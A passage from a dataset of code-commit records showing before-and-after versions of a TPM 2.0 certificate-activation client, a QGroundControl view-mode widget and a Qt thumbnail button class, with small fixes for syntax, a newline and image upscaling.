(!Tpm2_ReadNv(tpm, nv_handle, authString, (uint16_t)context_data_size,\n                   context_save_area)) {\n    printf(\"Quote ReadNv failed\\n\");\n    ret_val = 1;\n    goto done;\n  }\n  if (!Tpm2_LoadContext(tpm, context_data_size - 6, context_save_area + 6,\n                        &quote_handle)) {\n    printf(\"Quote LoadContext failed\\n\");\n    ret_val = 1;\n    goto done;\n  }\n#ifdef DEBUG1\n  printf(\"\\ncontext_save_area: \");\n  PrintBytes(context_data_size - 6, context_save_area + 6);\n  printf(\"\\n\\n\");\n#endif\n\n  memset((void*)&credential, 0, sizeof(TPM2B_DIGEST));\n  memset((void*)&secret, 0, sizeof(TPM2B_ENCRYPTED_SECRET));\n  memset((void*)&credentialBlob, 0, sizeof(TPM2B_ID_OBJECT));\n\n  \/\/ Get response\n  if (!ReadFileIntoBlock(FLAGS_program_key_response_file, &size_response,\n                         response_buf)) {\n    printf(\"Can't read response\\n\");\n    ret_val = 1;\n    goto done;\n  }\n  input.assign((const char*)response_buf, size_response);\n  if (!response.ParseFromString(input)) {\n    printf(\"Can't parse response\\n\");\n    ret_val = 1;\n    goto done;\n  }\n\n#ifdef DEBUG\n  printf(\"\\nintegrity (%d): \", (int)response.integrityhmac().size());\n  PrintBytes(response.integrityhmac().size(),\n             (byte*)response.integrityhmac().data());\n  printf(\"\\n\");\n  printf(\"encidentity(%d): \", (int)response.encidentity().size());\n  PrintBytes(response.encidentity().size(),\n             (byte*)response.encidentity().data());\n  printf(\"\\n\");\n  printf(\"\\nsecret: %d\\n\", (int)response.secret().size());\n  PrintBytes(response.secret().size(), (byte*)response.secret().data());\n  printf(\"\\n\");\n#endif\n\n  \/\/ Fill credential blob and secret\n  credentialBlob.size = (int)response.integrityhmac().size() + (int)response.encidentity().size();\n  current_size = 0;\n  memcpy(&credentialBlob.credential[current_size],\n         (byte*) response.integrityhmac().data(),\n         response.integrityhmac().size());\n  current_size += response.integrityhmac().size();\n  memcpy(&credentialBlob.credential[current_size],\n         (byte*) response.encidentity().data(),\n         response.encidentity().size());\n  current_size += response.encidentity().size();\n\n#ifdef DEBUG\n  printf(\"Constructed credBlob (%d): \", credentialBlob.size);\n  PrintBytes(credentialBlob.size, credentialBlob.credential);\n  printf(\"\\n\");\n#endif\n \n  \/\/ secret \n  secret.size = response.secret().size();\n  memcpy(secret.secret, response.secret().data(), secret.size);\n\n#ifdef DEBUG\n{\n  uint16_t quote_pub_blob_size = MAX_SIZE_PARAMS;\n  byte quote_pub_blob[MAX_SIZE_PARAMS];\n  TPM2B_PUBLIC quote_pub_out;\n  TPM2B_NAME quote_pub_name;\n  TPM2B_NAME quote_qualified_pub_name;\n\n  if (Tpm2_ReadPublic(tpm, quote_handle, &quote_pub_blob_size, quote_pub_blob,\n                      quote_pub_out, quote_pub_name,\n                      quote_qualified_pub_name)) {\n    printf(\"Quote ReadPublic succeeded\\n\");\n  } else {\n    printf(\"Quote ReadPublic failed\\n\");\n    ret_val = 1;\n    goto done;\n  }\n\n  TPM2B_DIGEST original_credential;\n  TPM2B_ID_OBJECT credBlob;\n  TPM2B_ENCRYPTED_SECRET active_secret;\n  \n  original_credential.size = 16;\n  memset(original_credential.buffer, 0, original_credential.size);\n\n  if (!Tpm2_MakeCredential(tpm, ekHandle, original_credential, quote_pub_name,\n                          &credBlob, &active_secret)) {\n    printf(\"MakeCredential failed\\n\");\n  } else {\n    printf(\"From MakeCred\\n\");\n    printf(\"original cred: \");\n    PrintBytes(original_credential.size, original_credential.buffer);\n    printf(\"\\n\");\n    printf(\"active_pub_name (%d): \", quote_pub_name.size);\n    PrintBytes(quote_pub_name.size, quote_pub_name.name);\n    printf(\"\\n\");\n    printf(\"active_secret (%d): \", active_secret.size);\n    PrintBytes(active_secret.size, active_secret.secret);\n    printf(\"\\n\");\n    printf(\"credBlob (%d): \", credBlob.size);\n    PrintBytes(credBlob.size, credBlob.credential);\n    printf(\"\\n\");\n  }\n  if (Tpm2_ActivateCredential(tpm, quote_handle, ekHandle, parentAuth, emptyAuth,\n                              credBlob, active_secret, test_credential)) {\n    printf(\"Paired ActivateCredential succeeded\\n\");\n    printf(\"Original credential (%d): \", original_credential.size);\n    PrintBytes(original_credential.size, original_credential.buffer);\n    printf(\"\\n\");\n    printf(\"Recovered credential (%d): \", test_cred.size);\n    PrintBytes(test_cred.size, test_cred.buffer);\n    printf(\"\\n\");\n  } else {\n    printf(\"Paired ActivateCredential failed\\n\");\n  }\n}\n#endif\n\n  if (!Tpm2_ActivateCredential(tpm, quote_handle, ekHandle, parentAuth, emptyAuth,\n                               credentialBlob, secret, &recovered_credential)) {\n    printf(\"ActivateCredential failed\\n\");\n    ret_val = 1;\n    goto done;\n  }\n\n#ifdef DEBUG\n  printf(\"ActivateCredential succeeded\\n\");\n  printf(\"Recovered credential (%d): \", recovered_credential.size);\n  PrintBytes(recovered_credential.size, recovered_credential.buffer);\n  printf(\"\\n\");\n#endif\n\n  \/\/ Decrypt cert, credential is key\n  \/\/ response.request_id();\n  \/\/ response.program_name();\n  \/\/ response.enc_alg();\n  \/\/ response.enc_mode();\n  \/\/ response.encrypted_cert();\n\n  if (response.encrypted_cert().size() > MAX_SIZE_PARAMS) {\n    printf(\"encrypted cert too large\\n\");\n    ret_val = 1;\n    goto done;\n  }\n  size_cert_out = response.encrypted_cert().size();\n  if (!AesCtrCrypt(128, recovered_credential.buffer,\n                   response.encrypted_cert().size(),\n                   (byte*)response.encrypted_cert().data(),\n                   cert_out_buf)) {\n    printf(\"Can't parse response\\n\");\n    ret_val = 1;\n    goto done;\n  }\n  size_cert_out = response.encrypted_cert().size();\n#ifdef DEBUG\n  printf(\"decrypted cert (%d): \", size_cert_out);\n  PrintBytes(size_cert_out, cert_out_buf);\n  printf(\"\\n\");\n#endif\n  \n \/\/ Write output cert\n if (!WriteFileFromBlock(FLAGS_program_key_cert_file,\n                          size_cert_out,\n                          cert_out_buf)) {\n    printf(\"Can't write out program cert\\n\");\n    ret_val = 1;\n    goto done;\n  }\n\ndone:\n if (root_handle != 0) {\n    Tpm2_FlushContext(tpm, root_handle);\n  }\n  if (seal_handle != 0) {\n    Tpm2_FlushContext(tpm, seal_handle);\n  }\n  if (quote_handle != 0) {\n    Tpm2_FlushContext(tpm, quote_handle);\n  }\n  if (ekHandle != 0) {\n    Tpm2_FlushContext(tpm, ekHandle);\n  }\n  tpm.CloseTpm();\n  return ret_val;\n}\n\n<commit_msg>syntax<commit_after>#include <stdio.h>\n#include <stdlib.h>\n#include <sys\/types.h>\n#include <sys\/stat.h>\n#include <fcntl.h>\n#include <unistd.h>\n#include <string.h>\n\n#include <openssl\/ssl.h>\n#include <openssl\/rsa.h>\n#include <openssl\/x509.h>\n#include <openssl_helpers.h>\n\n#include <tpm20.h>\n#include <tpm2_lib.h>\n#include <gflags\/gflags.h>\n\n\/\/\n\/\/ Copyright 2015 Google Corporation, All Rights Reserved.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/ or in the the file LICENSE-2.0.txt in the top level sourcedirectory\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License\n\/\/\n\/\/ Portions of this code were derived TPM2.0-TSS published\n\/\/ by Intel under the license set forth in intel_license.txt\n\/\/ and downloaded on or about August 6, 2015.\n\/\/ Portions of this code were derived tboot published\n\/\/ by Intel under the license set forth in intel_license.txt\n\/\/ and downloaded on or about August 6, 2015.\n\/\/ Portions of this code were derived from the crypto utility\n\/\/ published by John Manferdelli under the Apache 2.0 license.\n\/\/ See github.com\/jlmucb\/crypto.\n\/\/ File: ClientGetProgramKeyCert.cc\n\n\n\/\/  This program decrypts the program  key certificate using ActivateCredential\n\/\/  and stores the resulting decrypted cert.\n\n\/\/ Calling sequence: ClientGetProgramKeyCert.exe\n\/\/    --slot_primary=slot-number\n\/\/    --slot_seal= slot-number\n\/\/    --program_key_response_file=input-file-name\n\/\/    --program_key_cert_file=output-file-name\n\n\nusing std::string;\n\n\n#define CALLING_SEQUENCE \"ClientGetProgramKeyCert.exe \" \\\n\"--slot_primary=slot-number \" \\\n\"--slot_seal= slot-number \" \\\n\"--slot_quote= slot-number \" \\\n\"--program_key_response_file=input-file-name \" \\\n\"--program_key_cert_file=output-file-name\\n\"\n\nvoid PrintOptions() {\n  printf(\"Calling sequence: %s\", CALLING_SEQUENCE);\n}\n\n\nDEFINE_string(program_key_response_file, \"\", \"input-file-name\");\nDEFINE_int32(slot_primary, 1, \"slot-number\");\nDEFINE_int32(slot_seal, 2, \"slot-number\");\nDEFINE_int32(slot_quote, 3, \"slot-number\");\nDEFINE_string(program_key_type, \"RSA\", \"alg name\");\nDEFINE_string(program_key_cert_file, \"\", \"output-file-name\");\n\n#ifndef GFLAGS_NS\n#define GFLAGS_NS gflags\n#endif\n\n#define MAX_SIZE_PARAMS 4096\n#define DEBUG\n\nint main(int an, char** av) {\n  LocalTpm tpm;\n  int ret_val = 0;\n\n  GFLAGS_NS::ParseCommandLineFlags(&an, &av, true);\n  if (!tpm.OpenTpm(\"\/dev\/tpm0\")) {\n    printf(\"Can't open tpm\\n\");\n    return 1;\n  }\n\n  OpenSSL_add_all_algorithms();\n\n  TPM_HANDLE nv_handle = 0;\n\n  string authString(\"01020304\");\n  string parentAuth(\"01020304\");\n  string emptyAuth;\n\n  TPML_PCR_SELECTION pcrSelect;\n\n  TPM_HANDLE ekHandle = 0;\n  TPM_HANDLE root_handle = 0;\n  TPM_HANDLE seal_handle = 0;\n  TPM_HANDLE quote_handle = 0;\n\n  TPM2B_DIGEST credential;\n  TPM2B_ID_OBJECT credentialBlob;\n  TPM2B_ENCRYPTED_SECRET secret;\n\n  TPM2B_DIGEST recovered_credential;\n\n  TPMA_OBJECT primary_flags;\n  TPM2B_PUBLIC ek_pub_out;\n\n  int current_size = 0;\n  int context_data_size = 930;\n  byte context_save_area[MAX_SIZE_PARAMS];\n\n  int size_response = MAX_SIZE_PARAMS;\n  byte response_buf[MAX_SIZE_PARAMS];\n  program_cert_response_message response;\n  int size_cert_out = MAX_SIZE_PARAMS;\n  byte cert_out_buf[MAX_SIZE_PARAMS];\n\n  string input;\n  string output;\n\n#ifdef DEBUG\n  TPM2B_DIGEST test_cred;\n#endif\n\n  \/\/ Generate program key\n  if (FLAGS_program_key_type != \"RSA\") {\n    printf(\"Only RSA supported\\n\");\n    ret_val = 1;\n    goto done;\n  }\n  if (FLAGS_program_key_response_file == \"\") {\n    printf(\"No key name\\n\");\n    ret_val = 1;\n    goto done;\n  }\n  if (FLAGS_program_key_cert_file == \"\") {\n    printf(\"No key name\\n\");\n    ret_val = 1;\n    goto done;\n  }\n\n  \/\/ Create endorsement key\n  *(uint32_t*)(&primary_flags) = 0;\n\n  primary_flags.fixedTPM = 1;\n  primary_flags.fixedParent = 1;\n  primary_flags.sensitiveDataOrigin = 1;\n  primary_flags.userWithAuth = 1;\n  primary_flags.decrypt = 1;\n  primary_flags.restricted = 1;\n\n  InitSinglePcrSelection(-1, TPM_ALG_SHA1, pcrSelect);\n  if (Tpm2_CreatePrimary(tpm, TPM_RH_ENDORSEMENT, emptyAuth, pcrSelect,\n                         TPM_ALG_RSA, TPM_ALG_SHA256, primary_flags,\n                         TPM_ALG_AES, 128, TPM_ALG_CFB, TPM_ALG_NULL,\n                         2048, 0x010001, &ekHandle, &ek_pub_out)) {\n    printf(\"CreatePrimary succeeded parent: %08x\\n\", ekHandle);\n  } else {\n    printf(\"CreatePrimary failed\\n\");\n    ret_val = 1;\n    goto done;\n  }\n\n  \/\/ restore context\n  \/\/ TODO(jlm): should get pcr list from parameters\n  InitSinglePcrSelection(7, TPM_ALG_SHA1, pcrSelect);\n\n  \/\/ root handle\n  memset(context_save_area, 0, MAX_SIZE_PARAMS);\n  nv_handle = GetNvHandle(FLAGS_slot_primary);\n  if (!Tpm2_ReadNv(tpm, nv_handle, authString, (uint16_t) context_data_size,\n                   context_save_area)) {\n    printf(\"Root ReadNv failed\\n\");\n    ret_val = 1;\n    goto done;\n  }\n#ifdef DEBUG1\n  printf(\"\\ncontext_save_area: \");\n  PrintBytes(context_data_size - 6, context_save_area + 6);\n  printf(\"\\n\\n\");\n#endif\n  if (!Tpm2_LoadContext(tpm, context_data_size - 6, context_save_area + 6,\n                        &root_handle)) {\n    printf(\"Root LoadContext failed\\n\");\n    ret_val = 1;\n    goto done;\n  }\n\n  \/\/ quote handle\n  memset(context_save_area, 0, MAX_SIZE_PARAMS);\n  nv_handle = GetNvHandle(FLAGS_slot_quote);\n  if (!Tpm2_ReadNv(tpm, nv_handle, authString, (uint16_t)context_data_size,\n                   context_save_area)) {\n    printf(\"Quote ReadNv failed\\n\");\n    ret_val = 1;\n    goto done;\n  }\n  if (!Tpm2_LoadContext(tpm, context_data_size - 6, context_save_area + 6,\n                        &quote_handle)) {\n    printf(\"Quote LoadContext failed\\n\");\n    ret_val = 1;\n    goto done;\n  }\n#ifdef DEBUG1\n  printf(\"\\ncontext_save_area: \");\n  PrintBytes(context_data_size - 6, context_save_area + 6);\n  printf(\"\\n\\n\");\n#endif\n\n  memset((void*)&credential, 0, sizeof(TPM2B_DIGEST));\n  memset((void*)&secret, 0, sizeof(TPM2B_ENCRYPTED_SECRET));\n  memset((void*)&credentialBlob, 0, sizeof(TPM2B_ID_OBJECT));\n\n  \/\/ Get response\n  if (!ReadFileIntoBlock(FLAGS_program_key_response_file, &size_response,\n                         response_buf)) {\n    printf(\"Can't read response\\n\");\n    ret_val = 1;\n    goto done;\n  }\n  input.assign((const char*)response_buf, size_response);\n  if (!response.ParseFromString(input)) {\n    printf(\"Can't parse response\\n\");\n    ret_val = 1;\n    goto done;\n  }\n\n#ifdef DEBUG\n  printf(\"\\nintegrity (%d): \", (int)response.integrityhmac().size());\n  PrintBytes(response.integrityhmac().size(),\n             (byte*)response.integrityhmac().data());\n  printf(\"\\n\");\n  printf(\"encidentity(%d): \", (int)response.encidentity().size());\n  PrintBytes(response.encidentity().size(),\n             (byte*)response.encidentity().data());\n  printf(\"\\n\");\n  printf(\"\\nsecret: %d\\n\", (int)response.secret().size());\n  PrintBytes(response.secret().size(), (byte*)response.secret().data());\n  printf(\"\\n\");\n#endif\n\n  \/\/ Fill credential blob and secret\n  credentialBlob.size = (int)response.integrityhmac().size() + (int)response.encidentity().size();\n  current_size = 0;\n  memcpy(&credentialBlob.credential[current_size],\n         (byte*) response.integrityhmac().data(),\n         response.integrityhmac().size());\n  current_size += response.integrityhmac().size();\n  memcpy(&credentialBlob.credential[current_size],\n         (byte*) response.encidentity().data(),\n         response.encidentity().size());\n  current_size += response.encidentity().size();\n\n#ifdef DEBUG\n  printf(\"Constructed credBlob (%d): \", credentialBlob.size);\n  PrintBytes(credentialBlob.size, credentialBlob.credential);\n  printf(\"\\n\");\n#endif\n \n  \/\/ secret \n  secret.size = response.secret().size();\n  memcpy(secret.secret, response.secret().data(), secret.size);\n\n#ifdef DEBUG\n{\n  uint16_t quote_pub_blob_size = MAX_SIZE_PARAMS;\n  byte quote_pub_blob[MAX_SIZE_PARAMS];\n  TPM2B_PUBLIC quote_pub_out;\n  TPM2B_NAME quote_pub_name;\n  TPM2B_NAME quote_qualified_pub_name;\n\n  if (Tpm2_ReadPublic(tpm, quote_handle, &quote_pub_blob_size, quote_pub_blob,\n                      quote_pub_out, quote_pub_name,\n                      quote_qualified_pub_name)) {\n    printf(\"Quote ReadPublic succeeded\\n\");\n  } else {\n    printf(\"Quote ReadPublic failed\\n\");\n    ret_val = 1;\n    goto done;\n  }\n\n  TPM2B_DIGEST original_credential;\n  TPM2B_ID_OBJECT credBlob;\n  TPM2B_ENCRYPTED_SECRET active_secret;\n  \n  original_credential.size = 16;\n  memset(original_credential.buffer, 0, original_credential.size);\n\n  if (!Tpm2_MakeCredential(tpm, ekHandle, original_credential, quote_pub_name,\n                          &credBlob, &active_secret)) {\n    printf(\"MakeCredential failed\\n\");\n  } else {\n    printf(\"From MakeCred\\n\");\n    printf(\"original cred: \");\n    PrintBytes(original_credential.size, original_credential.buffer);\n    printf(\"\\n\");\n    printf(\"active_pub_name (%d): \", quote_pub_name.size);\n    PrintBytes(quote_pub_name.size, quote_pub_name.name);\n    printf(\"\\n\");\n    printf(\"active_secret (%d): \", active_secret.size);\n    PrintBytes(active_secret.size, active_secret.secret);\n    printf(\"\\n\");\n    printf(\"credBlob (%d): \", credBlob.size);\n    PrintBytes(credBlob.size, credBlob.credential);\n    printf(\"\\n\");\n  }\n  if (Tpm2_ActivateCredential(tpm, quote_handle, ekHandle, parentAuth, emptyAuth,\n                              credBlob, active_secret, &test_cred)) {\n    printf(\"Paired ActivateCredential succeeded\\n\");\n    printf(\"Original credential (%d): \", original_credential.size);\n    PrintBytes(original_credential.size, original_credential.buffer);\n    printf(\"\\n\");\n    printf(\"Recovered credential (%d): \", test_cred.size);\n    PrintBytes(test_cred.size, test_cred.buffer);\n    printf(\"\\n\");\n  } else {\n    printf(\"Paired ActivateCredential failed\\n\");\n  }\n}\n#endif\n\n  if (!Tpm2_ActivateCredential(tpm, quote_handle, ekHandle, parentAuth, emptyAuth,\n                               credentialBlob, secret, &recovered_credential)) {\n    printf(\"ActivateCredential failed\\n\");\n    ret_val = 1;\n    goto done;\n  }\n\n#ifdef DEBUG\n  printf(\"ActivateCredential succeeded\\n\");\n  printf(\"Recovered credential (%d): \", recovered_credential.size);\n  PrintBytes(recovered_credential.size, recovered_credential.buffer);\n  printf(\"\\n\");\n#endif\n\n  \/\/ Decrypt cert, credential is key\n  \/\/ response.request_id();\n  \/\/ response.program_name();\n  \/\/ response.enc_alg();\n  \/\/ response.enc_mode();\n  \/\/ response.encrypted_cert();\n\n  if (response.encrypted_cert().size() > MAX_SIZE_PARAMS) {\n    printf(\"encrypted cert too large\\n\");\n    ret_val = 1;\n    goto done;\n  }\n  size_cert_out = response.encrypted_cert().size();\n  if (!AesCtrCrypt(128, recovered_credential.buffer,\n                   response.encrypted_cert().size(),\n                   (byte*)response.encrypted_cert().data(),\n                   cert_out_buf)) {\n    printf(\"Can't parse response\\n\");\n    ret_val = 1;\n    goto done;\n  }\n  size_cert_out = response.encrypted_cert().size();\n#ifdef DEBUG\n  printf(\"decrypted cert (%d): \", size_cert_out);\n  PrintBytes(size_cert_out, cert_out_buf);\n  printf(\"\\n\");\n#endif\n  \n \/\/ Write output cert\n if (!WriteFileFromBlock(FLAGS_program_key_cert_file,\n                          size_cert_out,\n                          cert_out_buf)) {\n    printf(\"Can't write out program cert\\n\");\n    ret_val = 1;\n    goto done;\n  }\n\ndone:\n if (root_handle != 0) {\n    Tpm2_FlushContext(tpm, root_handle);\n  }\n  if (seal_handle != 0) {\n    Tpm2_FlushContext(tpm, seal_handle);\n  }\n  if (quote_handle != 0) {\n    Tpm2_FlushContext(tpm, quote_handle);\n  }\n  if (ekHandle != 0) {\n    Tpm2_FlushContext(tpm, ekHandle);\n  }\n  tpm.CloseTpm();\n  return ret_val;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>#include \"QGCViewModeSelection.h\"\n#include \"ui_QGCViewModeSelection.h\"\n#include \"QGC.h\"\n#include \"MainWindow.h\"\n\nQGCViewModeSelection::QGCViewModeSelection(QWidget *parent) :\n    QWidget(parent),\n    ui(new Ui::QGCViewModeSelection),\n    selected(false)\n{\n    ui->setupUi(this);\n\n    connect(ui->viewModeGeneric, SIGNAL(clicked()), this, SLOT(selectGeneric()));\n    connect(ui->viewModeAR, SIGNAL(clicked()), this, SLOT(selectWifi()));\n    connect(ui->viewModePX4, SIGNAL(clicked()), this, SLOT(selectPX4()));\n    connect(ui->notAgainCheckBox, SIGNAL(clicked(bool)), this, SIGNAL(settingsStorageRequested(bool)));\n}\n\nQGCViewModeSelection::~QGCViewModeSelection()\n{\n    delete ui;\n}\n\nenum MainWindow::CUSTOM_MODE QGCViewModeSelection::waitForInput() {\n    while (!selected)\n        QGC::SLEEP::msleep(200);\n\n    return mode;\n}\n\nvoid QGCViewModeSelection::selectGeneric() {\n    emit customViewModeSelected(MainWindow::CUSTOM_MODE_NONE);\n    mode = MainWindow::CUSTOM_MODE_NONE;\n    selected = true;\n}\n\nvoid QGCViewModeSelection::selectWifi() {\n    emit customViewModeSelected(MainWindow::CUSTOM_MODE_WIFI);\n    mode = MainWindow::CUSTOM_MODE_WIFI;\n    selected = true;\n}\n\nvoid QGCViewModeSelection::selectPX4() {\n    emit customViewModeSelected(MainWindow::CUSTOM_MODE_PX4);\n    mode = MainWindow::CUSTOM_MODE_PX4;\n    selected = true;\n}<commit_msg>Added missing newline<commit_after>#include \"QGCViewModeSelection.h\"\n#include \"ui_QGCViewModeSelection.h\"\n#include \"QGC.h\"\n#include \"MainWindow.h\"\n\nQGCViewModeSelection::QGCViewModeSelection(QWidget *parent) :\n    QWidget(parent),\n    ui(new Ui::QGCViewModeSelection),\n    selected(false)\n{\n    ui->setupUi(this);\n\n    connect(ui->viewModeGeneric, SIGNAL(clicked()), this, SLOT(selectGeneric()));\n    connect(ui->viewModeAR, SIGNAL(clicked()), this, SLOT(selectWifi()));\n    connect(ui->viewModePX4, SIGNAL(clicked()), this, SLOT(selectPX4()));\n    connect(ui->notAgainCheckBox, SIGNAL(clicked(bool)), this, SIGNAL(settingsStorageRequested(bool)));\n}\n\nQGCViewModeSelection::~QGCViewModeSelection()\n{\n    delete ui;\n}\n\nenum MainWindow::CUSTOM_MODE QGCViewModeSelection::waitForInput() {\n    while (!selected)\n        QGC::SLEEP::msleep(200);\n\n    return mode;\n}\n\nvoid QGCViewModeSelection::selectGeneric() {\n    emit customViewModeSelected(MainWindow::CUSTOM_MODE_NONE);\n    mode = MainWindow::CUSTOM_MODE_NONE;\n    selected = true;\n}\n\nvoid QGCViewModeSelection::selectWifi() {\n    emit customViewModeSelected(MainWindow::CUSTOM_MODE_WIFI);\n    mode = MainWindow::CUSTOM_MODE_WIFI;\n    selected = true;\n}\n\nvoid QGCViewModeSelection::selectPX4() {\n    emit customViewModeSelected(MainWindow::CUSTOM_MODE_PX4);\n    mode = MainWindow::CUSTOM_MODE_PX4;\n    selected = true;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"ui\/QBouton.h\"\n#include <QPainter>\n#include <QPaintEvent>\n#include <QtMath>\n\n\nQBouton::QBouton(const QVariant &id, bool resizeInsteadOfCropping, bool smartSizeHint, int border, QColor color, QWidget *parent)\n\t: QPushButton(parent), m_id(id), m_resizeInsteadOfCropping(resizeInsteadOfCropping), m_smartSizeHint(smartSizeHint), m_penColor(color), m_border(border), m_center(true), m_progress(0), m_progressMax(0)\n{ }\n\nvoid QBouton::scale(const QPixmap &image, float scale)\n{\n\tQSize size;\n\tif (fabs(scale - 1.0f) < 0.001f)\n\t{\n\t\tsize = image.size() * scale;\n\t\tsetIcon(image.scaled(size));\n\t}\n\telse\n\t{\n\t\tsetIcon(image);\n\t\tsize = image.size();\n\t}\n\tsetIconSize(size);\n\tresize(size);\n}\n\nQVariant QBouton::id()\n{ return m_id; }\nvoid QBouton::setId(const QVariant &id)\n{ m_id = id; }\n\nvoid QBouton::setProgress(qint64 current, qint64 max)\n{\n\tm_progress = current;\n\tm_progressMax = max;\n\n\trepaint();\n}\n\nvoid QBouton::paintEvent(QPaintEvent *event)\n{\n\t\/\/ Used for normal buttons\n\tif (!m_resizeInsteadOfCropping && m_border == 0 && m_progressMax == 0)\n\t{\n\t\tQPushButton::paintEvent(event);\n\t\treturn;\n\t}\n\n\tQPainter painter(this);\n\tQRect region = m_smartSizeHint ? contentsRect() : event->rect();\n\tQSize iconSize = getIconSize(region.width(), region.height());\n\tint p = m_border;\n\tint x = region.x();\n\tint y = region.y();\n\tint w = iconSize.width() + 2*p;\n\tint h = iconSize.height() + 2*p;\n\n\t\/\/ Ignore invalid images\n\tif (w == 0 || h == 0)\n\t\treturn;\n\n\t\/\/ Center the image\n\tif (m_center)\n\t{\n\t\tx += (region.width() - w) \/ 2;\n\t\ty += (region.height() - h) \/ 2;\n\t}\n\n\t\/\/ Draw image\n\tQIcon::Mode mode = this->isChecked() ? QIcon::Selected : QIcon::Normal;\n\tif (w > h)\n\t{\n\t\ticon().paint(&painter, x+p, y+p, w-2*p, w-2*p, Qt::AlignLeft | Qt::AlignTop, mode);\n\t\th = h-((h*2*p)\/w)+2*p-1;\n\t}\n\telse\n\t{\n\t\ticon().paint(&painter, x+p, y+p, h-2*p, h-2*p, Qt::AlignLeft | Qt::AlignTop, mode);\n\t\tw = w-((w*2*p)\/h)+2*p-1;\n\t}\n\n\t\/\/ Clip borders overflows\n\tpainter.setClipRect(x, y, w, h);\n\n\t\/\/ Draw progress\n\tif (m_progressMax > 0 && m_progress > 0 && m_progress != m_progressMax)\n\t{\n\t\tint lineHeight = 6;\n\t\tint a = p + lineHeight\/2;\n\n\t\tfloat ratio = static_cast<float>(m_progress) \/ m_progressMax;\n\t\tQPoint p1(qMax(x, 0) + a, qMax(y, 0) + a);\n\t\tQPoint p2(qFloor(p1.x() + (iconSize.width() - a) * ratio), p1.y());\n\n\t\tif (p2.x() > p1.x())\n\t\t{\n\t\t\tQPen pen(QColor(0, 200, 0));\n\t\t\tpen.setWidth(lineHeight);\n\t\t\tpainter.setPen(pen);\n\t\t\tpainter.drawLine(p1, p2);\n\t\t}\n\t}\n\n\t\/\/ Draw borders\n\tif (p > 0 && m_penColor.isValid())\n\t{\n\t\tQPen pen(m_penColor);\n\t\tpen.setWidth(p*2);\n\t\tpainter.setPen(pen);\n\t\tpainter.drawRect(qMax(x, 0), qMax(y, 0), qMin(w, size().width()), qMin(h, size().height()));\n\t}\n}\n\nQSize QBouton::getIconSize(int regionWidth, int regionHeight, bool wOnly) const\n{\n\tint w = iconSize().width();\n\tint h = iconSize().height();\n\n\tif (wOnly && w <= regionWidth)\n\t\treturn iconSize();\n\n\t\/\/ Calculate ratio to resize by keeping proportions\n\tif (m_resizeInsteadOfCropping)\n\t{\n\t\tfloat coef = wOnly\n\t\t\t\t\t ? qMin(1.0f, static_cast<float>(regionWidth) \/ static_cast<float>(w))\n\t\t\t\t\t : qMin(1.0f, qMin(static_cast<float>(regionWidth) \/ static_cast<float>(w), static_cast<float>(regionHeight) \/ static_cast<float>(h)));\n\t\tw *= coef;\n\t\th *= coef;\n\t}\n\n\treturn QSize(w, h);\n}\n\nvoid QBouton::resizeEvent(QResizeEvent *event)\n{\n\tQPushButton::resizeEvent(event);\n\n\tif (m_smartSizeHint)\n\t\tupdateGeometry();\n}\n\nQSize QBouton::sizeHint() const\n{\n\t\/\/ Used for normal buttons\n\tif (!m_smartSizeHint || (!m_resizeInsteadOfCropping && m_border == 0))\n\t\treturn QPushButton::sizeHint();\n\n\tQSize current = size();\n\treturn getIconSize(current.width(), current.height(), true);\n}\n\nvoid QBouton::mousePressEvent(QMouseEvent *event)\n{\n\t\/\/ Ignore clicks outside the thumbnail\n\tQSize imgSize = sizeHint();\n\tQSize size = this->size();\n\tint wMargin = (size.width() - imgSize.width()) \/ 2;\n\tint hMargin = (size.height() - imgSize.height()) \/ 2;\n\tQPoint pos = event->pos();\n\tif (pos.x() < wMargin\n\t\t\t|| pos.y() < hMargin\n\t\t\t|| pos.x() > imgSize.width() + wMargin\n\t\t\t|| pos.y() > imgSize.height() + hMargin)\n\t\treturn;\n\n\tif (event->button() == Qt::LeftButton)\n\t{\n\t\tif (event->modifiers() & Qt::ControlModifier)\n\t\t{\n\t\t\tthis->toggle();\n\t\t\tbool range = event->modifiers() & Qt::ShiftModifier;\n\t\t\temit this->toggled(m_id, this->isChecked(), range);\n\t\t\temit this->toggled(m_id.toString(), this->isChecked(), range);\n\t\t\temit this->toggled(m_id.toInt(), this->isChecked(), range);\n\t\t}\n\t\telse\n\t\t{\n\t\t\temit this->appui(m_id);\n\t\t\temit this->appui(m_id.toString());\n\t\t\temit this->appui(m_id.toInt());\n\t\t}\n\t}\n\tif (event->button() == Qt::RightButton)\n\t{\n\t\temit this->rightClick(m_id);\n\t\temit this->rightClick(m_id.toString());\n\t\temit this->rightClick(m_id.toInt());\n\t}\n\tif (event->button() == Qt::MidButton)\n\t{\n\t\temit this->middleClick(m_id);\n\t\temit this->middleClick(m_id.toString());\n\t\temit this->middleClick(m_id.toInt());\n\t}\n\tevent->accept();\n}\n<commit_msg>Fix upscaling (fix #1176)<commit_after>#include \"ui\/QBouton.h\"\n#include <QPainter>\n#include <QPaintEvent>\n#include <QtMath>\n\n\nQBouton::QBouton(const QVariant &id, bool resizeInsteadOfCropping, bool smartSizeHint, int border, QColor color, QWidget *parent)\n\t: QPushButton(parent), m_id(id), m_resizeInsteadOfCropping(resizeInsteadOfCropping), m_smartSizeHint(smartSizeHint), m_penColor(color), m_border(border), m_center(true), m_progress(0), m_progressMax(0)\n{ }\n\nvoid QBouton::scale(const QPixmap &image, float scale)\n{\n\tQSize size;\n\tif (scale - 1.0f > 0.001f)\n\t{\n\t\tsize = image.size() * scale;\n\t\tsetIcon(image.scaled(size, Qt::KeepAspectRatioByExpanding, Qt::SmoothTransformation));\n\t}\n\telse\n\t{\n\t\tsetIcon(image);\n\t\tsize = image.size();\n\t}\n\tsetIconSize(size);\n\tresize(size);\n}\n\nQVariant QBouton::id()\n{ return m_id; }\nvoid QBouton::setId(const QVariant &id)\n{ m_id = id; }\n\nvoid QBouton::setProgress(qint64 current, qint64 max)\n{\n\tm_progress = current;\n\tm_progressMax = 